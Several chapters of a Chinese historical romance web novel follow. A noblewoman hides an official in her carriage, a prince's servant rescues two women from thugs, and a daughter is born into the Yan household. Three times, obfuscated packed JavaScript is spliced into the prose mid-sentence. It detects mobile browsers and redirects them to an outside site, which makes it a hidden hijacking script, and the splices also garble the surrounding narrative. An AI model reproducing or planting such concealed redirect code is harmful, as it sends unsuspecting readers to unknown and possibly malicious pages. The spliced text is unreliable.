通往京城南篱门的小道上,一顶宽敞马车不疾不徐地行驶在一片槐树林中。 车窗半开着,暖风从浓密的树叶间滤进来,裹挟着嫩芽的清香,熏得人昏昏欲睡。 颜箫倚着凭几,手支着脑袋撑在桌案上,头一沉一沉的,昏昏沉沉中寻找着不会令她滑落的姿势。 耳中只余车轮辘辘和车夫不时的低语声,一片静谧之中,车夫一贯平淡的声音却忽然走了调。 “怎么——啊!” 染春骤然的呼声惊醒了颜箫,她费力地撑开眼皮,眼前却是一暗,一张面孔蓦然闯入她的视线。 她还没看清人,便下意识往后一退,眼前不知什么东西一闪而过,她却没有如预想般“咚”地一声撞在车壁上,而是被个什么散发着热量的东西挡住了,还有个硬硬的物什硌着她,也并不比撞在车壁上少了多少疼痛。 “你是何人!” 眼前是张轮廓分明的脸,是个年轻郎君,两人视线相对时,那人目光一顿,神色间有几分怔忪。 男子徐徐开口,“朝中官员,无意冒犯,劳烦女郎相助。”他亦是压低了声音,却显得更加低沉有力,似是削金碎玉,醇厚悦耳。 好生熟悉。 这张脸也熟悉,可还没等她忆起是在哪里见过时,眼前人微垂了眼眸,“可否劳烦女郎挪动一下。”他低声道:“手麻了。” 颜箫顺着他的手臂看过去,这才意识到自己脑袋后面枕着的东西原来是他的手掌,他挨得近,一只手撑在她脑后,整个人便似是被他揽在怀中,颜箫面上一热,忙往边上弹开。 “抱歉。” 两人拉开一段距离,颜箫得以看清他的全貌。他一身利落的窄袖劲装,浑身上下并无配饰和利器,只有右手拇指上嵌套了只金镶绿松石指环,想必正是方才硌在她脑后的硬物。 他的眼中有幽深的光芒,直直地望向她眼底,虽深不可测,但却并无杀气。 颜箫稍稍放宽了心,压低了嗓音问他:“如何相助?” 话音刚落,便有几人的呼喊自半开的窗外传来。男子侧首向外看去,随后伸手关上了车窗,视线再次回到颜箫眼中。 日光被挡在窗外,车中一下子便暗了下来,男性气息不容忽视地裹了上来,颜箫抿了抿唇,手脚都不知道该往哪放,却轻点了点头。 马车被人拦停,有人正对着车夫盘问,颜箫对染春使了个眼色。染春缩在角落里,见车中那男子似乎并不会轻举妄动,才挪到颜箫身边。 “你下去守着,不要怕,就说我们……” 染春一听颜箫让她出去应付那几人,投来担忧的眼神。比起外面的人,她更担心车中的男子会对颜箫下手。 颜箫飞快地瞟了那人一眼,嗓音压得极低,“我没事,你去吧。”他才是最该害怕的那个,是他有求于人,又怎么会对帮他掩藏形迹的人下手? 染春只好应下,又看了那男子一眼,深吸一口气,将车门推开小小一道缝隙,跳了下去。 “何人在此惊扰?”高门望族的侍女恐怕比寒门庶族的女郎都要稳重些,染春早已练就了遇事不慌的沉稳心性,听着她在外滴水不漏的回答,颜箫心下稍定。 可外面那几人似乎对染春的话将信将疑。 “我明明看见人往这边来了,你可别蒙骗我们!” “我们是从云居山上下来的,若是往这边来,我们必然会遇到。既然我们没看见,想来那人是往东去了吧。” 外面一时陷入沉默,颜箫紧紧盯着车门,生怕那扇门会被突然破开。 她听见自己的心又“咚咚”地跳了起来,仿佛马上要飞出胸口,甚至有些担心会不会被人听到自己的心跳声,从而发现破绽。 “你这车上是何人?”忽然一人的声音靠近了。 染春平稳的声线立时便有点慌乱,“是、是我们娘子。” 近来天暖,马车两侧的帷帘都换了绡纱的,隐约可见人影。有一人绕到侧面,立在窗下,踮着脚,似在向内打量。 颜箫屏息,余光见身侧的男子悄然摸向桌案上的博山炉,伏在案边蓄势待发,周身散发着骇人的冷厉,令车中空气都凝固了几分。 千钧一发之际,她脑瓜一转,计上心头,看了男子一眼,清了清嗓。 “几位郎君行行好,我儿缠绵病榻数月,今日特去湛山寺捐了香火,求佛祖庇佑。若你们是为钱财,我的侍女还有些散碎银子,你们只管拿了去吧。”颜箫故意放粗了声音,双手绞着帕子,紧紧盯住外面那个身影。 男子身形蓦得一顿。 车外人不耐烦道:“这位阿婶,我们不是想要银子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286342|182612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们真是来追人的,若是车中只有您和小郎君,那就让我们看一眼,看完我们就走了,你们也好赶紧上路。” 阿婶?颜箫睁大眼,这些没礼貌的坏蛋,至少也该叫声娘子吧? 男子见她杏眸圆睁,神色比方才他闯入时还惊讶几分,不由得移开视线,轻抿薄唇。 “也不是不能让几位郎君看,只是我儿……肺痨久不见好,我这才带着他去求佛拜神……”她一边说着,一边飞过来好几个眼神,朱唇一碰,吐出些荒谬之言。 “如果过了病气给各位郎君,就不好了。”她拼命眨眼,长睫忽闪得像只被人抓住动弹不得只能拼命扇翅膀的蝶。 他拧眉,内心极不情愿,却只得配合地低咳了两声。 她满意的收回视线,对着车外喊道:“郎君们当心。”说着作势要推开车窗。 ……她真要开窗给人看?他紧紧盯住那双伸到半空中的手,做好了下一刻便捉上去的准备。 幸而那双纤纤素手才伸到半空中,外面几人就赶紧打断她。 “算了算了,不必了,我们还要急着找人呢。” 其他人一听也作罢,“走吧,真是晦气。” …… 人声渐远,车中静默无声,直至染春重回车上。 机敏的女郎脱了力向后靠在凭几上,她那侍女给她递了个眼神,她似是才想起车中还有一人的存在,立马直起后背端坐。 他不似她那般端得八风不动,脊背一松,靠在车壁上。 瞧她方才面色煞白,想来是有些怕的,却端得一副泰山崩于前而色不改的淡然,果然是士族贵女,颇懂何为名士风度。 真不知她是情急之下只能生出此等邪智,还是她亦认出了他的身份在戏弄他。 托她的福,若不是她将那人放走,他此刻还没这个机会和她共处一室。 他盯着她看了半晌,终究是移开视线,薄唇掀出几个字,“多谢女郎相助。” 女郎微微颔首,语带歉意,“方才多有得罪,还请郎君见谅。” 倒还有些自知之明,“无妨。” 女郎轻咳一声,抬起手摸了摸桌案上的博山炉,又放了下来,抬眼看了看门,又看了看窗,伸手将方才被他关上的车窗打开,然后侧头看向他。 逐客之意太过明显,他无言看着她左动右动,可那几人或许尚未走远,他还需要借她的马车隐藏行迹。 他放软了声音,“我也要回建邺,女郎方便再捎我一程么?” 女郎歪头想了想,似乎觉得有理,“那我将郎君带到长干里,郎君可认识回去的路?” 他颔首,“多谢。” 随后两人陷入沉默,女郎悄悄舒了一口气,侧头望向窗外。 颜十一娘生得一副好容貌,肌肤白而透骨,柳叶细眉下是一双山间清泉般的眼眸,温润水乡孕育的女郎,连面容都似笼上了一层建邺春日的烟雨,一双明亮杏眸似是会说话,看人时未语先笑,轻轻一转,却又觉得憋了什么坏心思。 颜箫并不十分专心地望着窗外缓缓倒退的高大槐树,实则余光一直瞄着身侧那男子,察觉到他的视线始终在她面上打转,终于生出了几分被冒犯的薄怒。 她转过脸去,直面迎上他的眼神,也学着他的样子打量起他来。 剑眉星目,眉眼深邃,鼻梁高而挺翘,薄唇轻抿着,带了些和江南文人截然不同的硬朗。虽方才被追赶着,却丝毫不见他面上有一丝的狼狈,平静从容地仿佛只是寻常赏春。 这般气质容貌,以及这份分明是在冒犯别人却毫不退让的无礼,忽然令她觉得十分熟悉。 眼前的面容和月余前的另一幅面容渐渐重合,他身上素色的衣袍似乎悄然褪成绛紫色,她终于想起曾在哪里见过他。 她仿佛听到了血液正从面上溜走的声音,张了张口,那三个字却怎么也说不出。 男子终于收回了视线,唇角一勾,阖上了眼。 他这一笑,却叫颜箫心底一凉,脑海中一道惊雷将一切思绪都劈空,只剩下两个字。 完了。 10. 月下老 却说方才追捕的几人,不过是京郊庄户中的田汉,帮东家看家护院,追不追得到人于他们而言并不十分重要,这才叫人逃过了一劫。 眼看天色渐暗,三人慢腾腾地走在林间小道中,边闲聊边有一搭没一搭的寻人。三人一路向西,走了约莫一盏茶的时间,眼看着都快到陈集镇地界了,依然没寻到踪迹,便准备打道回府了。 才往回走了没几步,忽听到前面传来哒哒的马蹄声,一顶矮小的马车正慢悠悠地向这边来,马车前面坐着个小娘子。 几人对视一眼,互相露出个心领神会的邪笑。 碧桃正坐在车前赶着马,夕阳从树干之间斜照进来,晃得人有些睁不开眼。 忽然,眼前的光被什么东西挡住了,她定睛一看,不知从哪里窜出来三个壮汉,正笑着向她靠近。 碧桃吓了一跳,僵着手不知该如何是好,不料却被其中一人扑上来将驱马的鞭子夺走了,另一人控制住了马车,她不受控制地往前一扑,却刚好扑在前面那人的手臂上,她吓得尖叫,一口咬了上去。 “怎么了?”婉宁的声音从车中传来。 “哟,车里还有一个呢?”一人绕到侧面,掀开车窗,将手探进去,企图将人抓出来。 婉宁坐在车中,还不知外面发生了什么,就见一只粗黑的手臂冲了进来,她惊叫出声,对着那只手臂一通猛砸。可她这点力气无异于以卵击石,不仅无用,还叫那人摸清了她的方向,大掌直冲她胸口而来。 可惜她这车中什么都没有,她只能伸直两只手,试图钳制住那粗蛇一般的手臂。 “你们是什么人!究竟要做什么!” 车内车外尖叫声此起彼伏,婉宁此时倒稍稍冷静了些,边与那人对抗边小步挪到车门处,她以身体顶开车门,车外天光乍泄,她缓了片刻才看清,这是三个农户打扮的壮汉。她和碧桃一人缠住一个,还有一个正在一旁笑着看热闹。 婉宁半个身子在车外,却还紧紧拽着那只从车窗探进来的手臂,反将那人钳制得动弹不得,趴在车窗边嗷嗷乱叫。 “娘子,娘子你没事吧!”碧桃正挂在一人身上拳打脚踢,听见怪叫声,费力地回头看向婉宁。 婉宁半挂在车辕上,抽出一只手,奋力伸直从地上拾起一块粗粝的石头,在攥着的那只手臂上用力的划着。 那人疼的龇牙咧嘴,对着一旁看热闹的同伴怒骂,“该死的,赶紧来帮老子一把!” 他那同伴也是没想到两个壮汉竟连两个手无缚鸡之力的小娘子都制不住,忙上前几步,一把抓住婉宁的头发。 婉宁双手再也没了力气,不受控制的向后倒去,“砰”的一声滚落在车轮下。她心下绝望,此处离镇上不到一里地,可她与碧桃怎敌得过三个壮汉,这下恐怕是要任人宰割了。 她心如死灰的闭上眼,可过了许久,预想中的疼痛却并没有到来,反而听见了壮汉凄厉惨叫,她睁眼望去,只见一个锦衣窄袖的郎君一手一个,揪着两人的后颈,三两下便制服了两人。 婉宁睁大了眼,这小郎君瞧着身量比壮汉矮上不少,竟这般有力。 他单用衣袍下摆就将那两人捆着手丢到一旁,随后又几个箭步冲向缠着碧桃的那人,一个飞踹将他撂倒,又顺手将碧桃扶了起来。 三个壮汉“哎哟”的叫着,但输人不输阵,虽身上疼痛,还不忘搬出自家郎主狐假虎威。 “你知道我们东家是谁吗?敢对我们下手,有你们好瞧的!” 那小郎君却好似一点不怕,轻松地拍了拍手上灰尘,然后恭敬地走到一架不知何时出现的宽敞马车下。 “殿下,那几人已老实了。” “殿下”二字一出,三张嘴一下子闭的严严实实,彼此对了个眼神,终于安静了下来。 马车无声地伫立在一旁,静地仿佛车中并没有人。 过了片刻,车中传来一声轻笑。 “说啊,你们东家姓甚名谁,说来我听听。”是个年轻男子的声音,语调慵懒得像刚睡醒,与周围这乱糟糟灰扑扑的场面格格不入。 几人你看看我,我看看你,这下反而不敢乱说话,怕给自家郎主惹祸上身。 “不说?阿福,你把他们舌头拔下来,看看上面写着谁的名字,我倒要看看究竟是谁在这里狗仗人势。” 立在车下的侍从得了令,大步上前,作势要动手。 那几个壮汉此刻变成了胆小的鹌鹑,一个劲的求饶。 “殿下饶命,殿下饶命!” “我们有眼无珠,罪该万死!” “阿福,回来吧。”这位殿下似是忽然又觉得无趣了,语调懒洋洋的,“丢远点,别碍我的眼。” 阿福力大无穷,一人拖三个毫不费力,旁边有处壕沟,他将人拖了过去,又抬脚一踹,那三个人便如同一株藤上的三个果子一般叽里咕噜的滚到壕沟内。 马车中又传来一声轻笑,那位殿下似乎是满意了,“阿福,找两个人跟着她们,看着她们安全了再回府。” 婉宁早就看呆了,此时才回过神。车中之人身份尊贵,怎好耽误他时间,忙对着阿福摆手,“不、不劳烦了,前面路口向西就是我家,很近的。”左右那三人被捆在一起掉在沟里,一时半会也上不来。 见她推辞,车中人也不强求,“嗯”了一声,车夫得了指令,也不多停留,目不斜视地驾着车离去。 一时间林间重归静谧,飞鸟俱绝,只有车前的马儿不知发生了什么,依旧悠然地嚼着嫩草。 碧桃三步并作两步爬到婉宁身边,发髻凌乱,险些哭了出来。 “娘子,呜呜,都怪我不好,早知今日便不出门了!” 婉宁笑了笑,温声安慰道:“不怪你,你看我们运气也很好不是?快起来,我来驾车,我们回家。” 她拍拍身上的泥土站了起来,弯腰捡起掉在地上的竹条,正要迈步上车,脚尖却忽然踢到了个硬物。 她低头一看,原来是一块巴掌大的玉牌,通体青碧色,与散落的树叶融为一体,不仔细看根本无法辨出。 她将那玉牌捡起,触手生温,泛着油润的光泽,其中一面阳刻着一个“琰”字,笔法遒劲,浑然天成。 “这是什么?”碧桃凑过来问。 婉宁也没见过这东西,但它显然不是那三个壮汉身上的。 “大概是方才那位郎君打斗的时候掉下来的吧。”琰,是谁的名字吗? “这玉真好看。”碧桃忍不住赞叹。 婉宁拂去上面的灰尘,“我们先好生收着,等有机会,一定要还给那位殿下。” 京城中能称得上殿下的年轻郎君并不多,若留心打探,总是会知道是谁的。 忽然她像是想起什么,叮嘱碧桃,“记得一定不能让阿兄发现了,若是阿兄看到了,定然要拿去换钱的。我们用自己的东西换了钱便好,旁人的东西可不能动。” 碧桃嘴一撇,“大郎都拿走娘子屋里多少东西了,娘子你还这么好心,让我将镯子典卖了。幸好前两天林家舅父送来的银两还剩些,不然娘子和夫人这个月可要难捱了。” 婉宁低着头,沉默了会儿,却还是温声道:“阿兄说了这是最后一次,再说那些东西我平日里也用不上,不小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286343|182612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心掉到田里还不如典卖了换些银钱。” “这话都说了多少次了,也就娘子还相信。”碧桃小声嘟囔。 婉宁抬头望了望天,面上笑意渐渐淡去。 * 颜箫从未想过会在这样的境况下与顾司徒相识。 她方才还觉得自己急中生智助人脱困,简直聪明得很,虽说理由有些不太体面吧,但至少成效不错。 可也没人说他是顾司徒啊! 看他方才的反应,倒也没有明显的不悦,可似乎也说不上高兴。 她若早知他是谁,便换个说辞了,这样显得她好生无礼。 颜箫面皮发热,眼一闭,一头倒在车壁上,“咚”的一声,把染春吓一跳。 “娘子……”染春弱弱出声,但瞥见旁边闭目养神的男人,又不大敢惊扰他。 颜箫摆摆手,示意自己没事。 罢了!说都说了,他能怎样?好歹是帮了他一忙,他若要怪罪,那便是他小肚鸡肠。 可他为何会出现在这里,他在追什么人,被发现了,所以反被追捕,是吗? 颜箫忽然想起白日里在东山的竹林间遇到的那人。 “顾司徒是在……追什么人?” 男人睁开眼望过来,一挑眉,“难道不是有人在追我?” 他揣着明白装糊涂,颜箫也没指望他会据实相告,可这事越想越奇怪。 顾修昀抓了个人,又借机逃了,被她撞见,她故意放了,几个时辰后,他便孤身闯入她的车中,天底下会有这么巧的事? 别看他此时一副人畜无害的模样,她可还没忘记那日永寿殿花园中撞见的一幕,时时提醒着她,此人并非善类。 幸而他没发现…… 颜箫蓦然一僵,忽然想到了一个自己未曾设想过的真相。那日她自以为藏匿得极好,可他当真没发现有人在暗处窥伺吗? 顾修昀坐在车厢的另一边,本是抱着相安无事的念头在闭目养神,可身侧这位女郎的呼吸声莫名的愈发急促起来,竟无端勾起了他内心一丝快要淡忘的记忆。 他缓缓睁开眼,静默几息,随后看向桌角的小巧熏炉,袅袅青烟散发着浅淡的栀子香气,香烟盘旋升腾,最终隐没在半空中,后面那张秀丽的面容却渐渐清晰。 原来如此。 他大概明白她为何会这般紧张了。 顾修昀无声地勾起唇角,原以为这女郎胆大妄为,原来她也会怕? 颜箫还不知道自己已被完全看透,她内心还在天人交战。 尚未交战至第二回合,她又在内心将自己说服。 罢了!看都看了,他能怎样?她的马车上有琅琊颜氏的族徽,想必他是认得出的。便是当日她没躲起来,而是站在他面前,他能拿她怎样?他敢在台城杀内侍,他敢在京城之外杀她吗? 思及此,颜箫内心安定了不少,她不再说话,扭头将视线转向窗外,透过帷帘看那影绰春光。 各怀心思的两人一路沉默着,夕阳完全沉落之际,马车悠悠驶入南篱门。 进入南篱门,便是长干里,此处离秦淮河畔竹枝巷亦不远,颜箫在一条偏僻小巷中叫停,从善如流地将这位顾司徒请下了车。 顾修昀环顾四周,见无人来往,利落地跳下车辕。 “今日之事……” “顾司徒放心,我什么都不知道。”不等他说完,颜箫便一口应下。 见她低眉顺目,十分乖觉的样子,不知怎的,顾修昀反而不怎么放心。 他抿了抿唇,但愿这位颜十一娘当真能老老实实,不再惹是生非。 11. 引蛇出 顾承启被顾修昀训斥过后,老老实实在家里闭门思过,实则也是躲风头。可他也只能关得住一时,不出几日,又恢复了纨绔子弟的本来面目。 这日午后,他在街上闲逛,恰在秦淮河畔遇上了同样游手好闲的孙家小郎君孙暮生。 顾承启还记着他那日溜得飞快,害他独自被顾修昀抓住,表面上却是一副云淡风轻的模样,勾肩搭背的要与孙暮生一同去吃酒。 两人踏入醉春居,顾承启便嚷嚷着上酒。 “那日没尽兴,今日小爷我来请客!” 醉春居的掌柜却迟迟没动,很是为难,“这……不是小店寻托辞,实在是前些日子的禁酒令太过严苛,我们也不敢顶风作案呐……” 顾承启哪能在孙暮生面前失了脸面,一拍桌子一瞪眼,“你只管拿来便是,出什么事我顶着!” 掌柜的无法,也知道他背后有顾司徒撑腰,只好去取窖藏的酒来,一边还腹诽,顾司徒再严苛,也令不及子侄,这不,旁人说禁酒便禁了,他顾四郎却能监守自盗,果然天下乌鸦一般黑。 顾承启还十分张扬地在后面嚷着,“给我拿最好的!” 孙暮生亦觉得意外,可他既能沾光吃酒,便也不说什么,只笑道:“顾四郎今日怎么这般大方,手头宽裕了?” 顾承启忙示意他噤声,左顾右盼,生怕被人听见。 孙暮生这下更好奇了,顾承启见周遭没人,这才拉着他神神秘秘的说道:“你不知道,前些日子我七叔查封了平乐镇上一户农庄,那户农庄不知是所属何人,仓库里面一面墙都是银锭子,铜钱多得放都放不下……” 孙暮生一怔,莫名有些不安,“是吗,竟有这事……怎么没听到风声?” 顾承启好似十分不快,“孙兄,我岂会骗你!我那日偷听了一耳朵,说是那户人家不止在平乐镇有祖业,京城中也有,就在右御街上,今晚就要动手。你若不信,明日一早去看了便知!” 孙暮生听了心里惴惴,难得的一顿酒也没吃好,早早便归家了。 金乌西沉时,有浓厚的云自天边翻涌而起,这晚不见星月,天空阴沉,似被一个墨色的碗倒扣住。 右御街背后的小巷中,灯火惨淡,连个过路人都见不着。临近宵禁时,一道黑影自巷口一闪而过,又迅速摸到一间闭门已久的铺面后门。 他环顾一圈,确认四下无人,一个闪身潜了进去。 屋内伸手不见五指,他回身将门轻轻掩上,正要掏出火折子,眼前却忽然亮了起来。 他心下一惊,想要推门而出时,肩上却已被人轻轻一拍。 岳陆举着个长明灯,似笑非笑地看着他。 “就要宵禁了,孙尚书不在府上歇着,怎么跑到这来了?” * 颜箫收到陆鸣渊这月里寄来的第二封信时,正和檀氏在庭院里赏春。 院墙内姹紫嫣红一片,偶有乱花飞絮,沿着重重叠叠的檐角飘落,拂了还来。 “这天是一日比一日和暖了。” 檀氏命人将软塌搬来了庭中,轻摇着团扇,笑吟吟地望着几只蝴蝶缠斗。 檀氏即将临盆,上巳过后,颜箫便没再出门,整日围着檀氏打转。 润秋自前院得了书信,径直往东院中而来。 颜箫接了信,随手放在一边,打算回房中再拆开看,这一幕恰被檀氏看在眼中。 檀氏摇着团扇轻笑,状似无意地提起件事。 “前两日听你婶母说起,十二娘与宁家三郎说定了亲事,婚期定在秋日。” 颜箫一愣,想起那日颜竽面带羞涩的与宁三郎在巷口叙话,不由得笑了笑,“她动作倒快。” 檀氏瞧了她一眼,“不知到时候陆家小郎君会不会回来,你既不喜予琰,可陆小郎同你自小相识,脾气秉性总是了解的。” 颜箫年幼时,叔父颜焕还在荆州做刺史,竹枝巷尾的宅子里住着清河崔氏,对街便是陆家宅院,几条街外是舅父檀家,几个家族中年岁相仿的孩童自小在一处长大。 颜箫幼时是个顽皮的小女郎,与少年老成的颜笙截然相反,起初还能乖乖坐在阿兄边上看他钓鱼,待长到五六岁,能跑能跳时,便片刻也坐不住,上山抓鸟,下河摸鱼,无所不能。 陆鸣渊年长她三岁,却独爱跟在她身后跑,他为人温和稳重,将她照顾得无微不至。 颜箫九岁那年,被父亲送进颜家族学,檀家表兄檀玄被檀大将军扔进军营磨练,崔氏递补了冀州刺史一缺,举家迁回清河郡。 幼时的玩伴渐渐离去,颜箫也不再是个散漫山野的孩童,但和陆鸣渊倒是时常得见。而后颜焕述职回京,升任尚书右仆射,安居在竹枝巷尾的大宅里,颜家与陆家来往更加密切,颜箫便也随着堂兄妹,将陆鸣渊视为兄长。 可视为兄长的念头比少女心事更早地在她心中扎根,幼时在东山别院消暑,丛林间,山溪畔,到处都是她的身影,陆家阿兄体贴周到,无微不至,比之颜笙有过之而无不及,她那时未曾留意,长大后回想,他大约是受了家中大人的嘱托,那是长兄对幼妹的照顾,毕竟她还喊他一声表兄。 如若不然,山间那么多趣事,谁会放着不理,跟在她的身后?她那时身边的小郎君,可没见有谁懂得怜香惜玉的。 譬如她的亲表兄檀玄,因上一日她将檀玄推进了青溪中,他便捉了只又肥又绿的大青虫,塞进她的首饰匣内,幸而她那时素来不爱戴钗环,没吓到她,倒将替她梳妆的润秋吓得不轻。 思及此,颜箫“扑哧”一声笑了出来,檀氏问她笑什么,她照实说了,檀氏也莞尔。 “阿玄跟着将军在军中历练几年,回来倒沉稳多了,再不似儿时那般顽劣。” 说檀玄沉稳,那是檀氏给面子,颜箫暗自腹诽。 只是,那年檀玄才从并州军中归来时,身量已长开,他坐在马背上,身披银甲,手持红枪,本是神情端肃,却在城门口见到她和阿妹檀止时,忽地咧嘴一笑,这一笑神采飞扬,倒真如常胜不败的少年将军。 “京城中那些文弱书生无趣得很……”檀玄确实是个例外,与她梦中那小郎君有着相似的威仪。 檀氏眼前一亮,“不若让你嫁给阿玄,你觉得如何?” 颜箫面上笑容戛然而止,脑海中顾盼神飞的少年郎也烟消云散,陡然变成了一只穿着盔甲的大青虫。 檀氏笑得抚肚。 正此时,檀氏身边的刘娘子引着一人缓步而至。 “娘子,周娘子着人送了东西过来。” 李娘子是周娘子身边服侍的人,她递上一个竹笸箩,“娘子万安,我们周娘子特做了些小玩物给幼子。” 颜箫好奇地凑过来,里面是些虎头鞋,小兜帽等物。 周氏做得一手好绣活,檀氏笑容平静,让刘娘子收下了,“周娘子有心了,今日有新渍的杨梅粽,李娘子吃杯茶再走。” 刘娘子引着李娘子退下。 檀氏背靠凭几,轻摇团扇,“阿笳嫁去清河后,倒是少见周氏出门了。” 周娘子是七娘颜笳生母,原是自小便跟在颜炳身边的,檀氏看中她性情平和,于是颜笙一岁那年,周氏生下了颜笳。 颜笳比颜箫早几年入族学,性情随了周氏,是个温婉娴静的,不似颜箫顽皮,静得下心读书,在建邺亦颇有才名。 颜笳与崔氏定亲之前,周氏很是费了一番心思,隔三差五便往檀氏屋中小坐,还亲自制了衣衫和绣帕给颜笙和颜箫。檀氏知道她的担忧,有次私下里淡淡提了一句,“颜家自是不会亏待任何一个子女。”这才算是给周氏吃了定心丸。 檀氏一时感念她一片拳拳爱子之心,却又觉得周氏不甚聪明。时人对嫡庶并不看重,门第越高越是如此,都是承托家族厚望的同姓手足,又怎会厚此薄彼?况且周氏也并不是个张扬跋扈的性子,于公于私,她都会尽力给颜笳谋求一份上好的姻缘。 “阿箫以后嫁人,定要找个性子恭顺的妾室。”檀氏摇着团扇慢慢道。 颜箫支着下巴,望着天边薄云翻涌。 她与颜笳虽性情天差地别,但自小感情深厚,两人的院子离得不远,冬日天寒,她时常与颜笳凑在一处烤火,颜笳在桌案边看书,她便在榻上作画。她只知道自己有个阿姐,可她从没想过阿姐是檀氏的庶女。 她阿父和阿娘这样好,都有个周氏夹在其中,这世上便没有始终如一的郎君了么? 颜箫沉默良久,偏头看向檀氏,却忽然发现檀氏紧紧皱着眉,神色痛苦,早春时节,额头上竟沁出了豆大的汗珠。 她吓了一跳,“阿娘,你怎么了?” 檀氏咬着牙等待这阵疼痛过去,神色稍缓,“怕是要生了,阿箫不怕,去叫刘娘子来,她知道该怎么做。” 颜箫哪见过这场面,她竭力稳住心神,刘娘子就在屋后的耳房里与李娘子吃茶,提声一唤便过来。 檀氏产期就在近日,产婆和医女等都备得妥当,刘娘子倒端得稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286344|182612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,吩咐人分别去寻颜炳和陶见山,自己亲自去安排产婆,临行前还将颜箫劝回自己院子。 “女郎不必担心,妇人生子都有这一遭,只是这里糟乱,女郎还是先回屋中去罢。” 颜箫坚定摇头,“不要,我要陪着阿娘。” 她说什么也不走,刘娘子劝不住,也就随她,“那女郎就在院中安稳待着,可莫要进屋去!”说完便匆匆去寻产婆。 檀氏已被人抬回了房中,抬到半路便止不住地流血,鲜红色顺着院中碎石子路蜿蜒伸展,颜箫心里咚咚地跳,坐在檀氏方才躺过的软榻上,心里默默祈福。 不过一盏茶时间,颜炳和陶见山便前后脚奔了进来,颜炳瞥见颜箫坐在庭中,面色发白,还不忘过来安抚她两句。 “阿父,我没事,阿娘她……”颜箫正担忧着,忽见侍女捧着一盆血水跑出来,颜箫睁大眼,后半句话再也说不出来。 屋内一点声音都没有,仿佛产妇已经用尽了力气,陶见山隔帘而望,指挥医女施针,又笔走龙蛇地写下几张方子,嘱咐侍女速去煎来。 颜箫环顾四周,满院的人,却不见颜笙。 “阿兄呢?” 润秋才从外面回来,此刻正气喘吁吁,“前院着人去问了,说郎君今日散朝后被留在宫中,还不知何时回来。” “被留在宫中?为何?”没听说近日朝中出了什么事啊,这不连颜炳都按时回府了。 颜炳多少知道些内情,却不便多说,隐晦道:“这几日尚书台和门下省不得清闲,顾司徒身挑两省,分身乏术。” 顾司徒?又是他! 顾修昀兼任门下侍中,虽颜笙在门下省只担了个不虚不实的闲职,但毕竟顾修昀是他上官,留他做事也是理所应当。 此时不是计较这些的时候,颜箫暂且按下心中忿忿。 妇人生产确是难关,直至日头西沉,陶见山出来安抚了父女两人一番,称胎儿已露了头,不必太过担忧。 天色渐暗,府中各处皆点起了灯火,侍女端来粥食,颜箫才用了几口,忽听院外传来疾步声,回头一看,原来是颜笙回来了。 他想必也是早得了消息,连官袍都没换下,站在庭院门口,风灯暖黄色的光下,他胸口微微起伏,一改往日云淡风轻的模样,正微微喘着粗气。 “阿兄……”颜箫没见过他这样。 檀氏的痛呼声时响时停,其中还夹杂了颜炳的大名,颜炳一愣,随即笑了起来。 终于,在天色完全暗沉之际,一声啼哭划破了屋外焦灼的空气。 刘娘子跑出来报喜,“是个女郎,郎主,是个小女郎!” 颜炳只差老泪纵横,三步并作两步上前,隔着密不透风的竹帘,问屋内檀氏的情况。 “娘子精神头还好,只是太累了。” 见母子平安,颜炳抚掌大笑,不住道好,下令封赏全府,忽又听屋内传出檀氏的声音。 “颜炳你这个老家伙,我再也不生了!”声音虽有些气虚,其中怨愤却显而易见。 刘娘子听了“哎哟”一声,忙不迭跑进屋内,“我的娘子,可别再喊了,快歇歇吧!” 颜炳却哈哈大笑,“不生了不生了,吾得三女一子,颜家血脉得以延续,吾此生无憾!”说罢便撩开帘子,大阔步地往屋内走去。 一时间屋内又传来惊呼,皆说产房晦气,劝颜炳暂勿靠近,其中又夹杂着婴儿啼哭,吵闹个不停。 颜箫背靠回廊,听着耳畔此起彼落的人声,这才将紧绷着的一根弦松懈下来,她虽疲惫,却忍不住扬起唇角。 她拽了拽颜笙的衣袖,忍不住雀跃,“阿兄,我有阿妹啦!” 颜笙笑得温和,如儿时一般摸了摸她的头,“阿箫长大了。” 檀氏歇下了,颜炳也在此守着,兄妹二人便各自回院。 “阿兄今日怎么回来的这样晚?是顾司徒为难你?” “怎会?”颜笙失笑,“只是近日事多而已。”颜笙虽人在门下省,却不及颜炳知道内情。 “不过就是抓一抓背后说他坏话的人,还能忙什么。”她小声嘟囔。 颜笙一听就知道她是又去茗香居听书了,无奈道:“顾司徒是明月入怀之人,虽重权在手,却光明磊落。”他有些叹惋,“阿箫,人言可畏。” 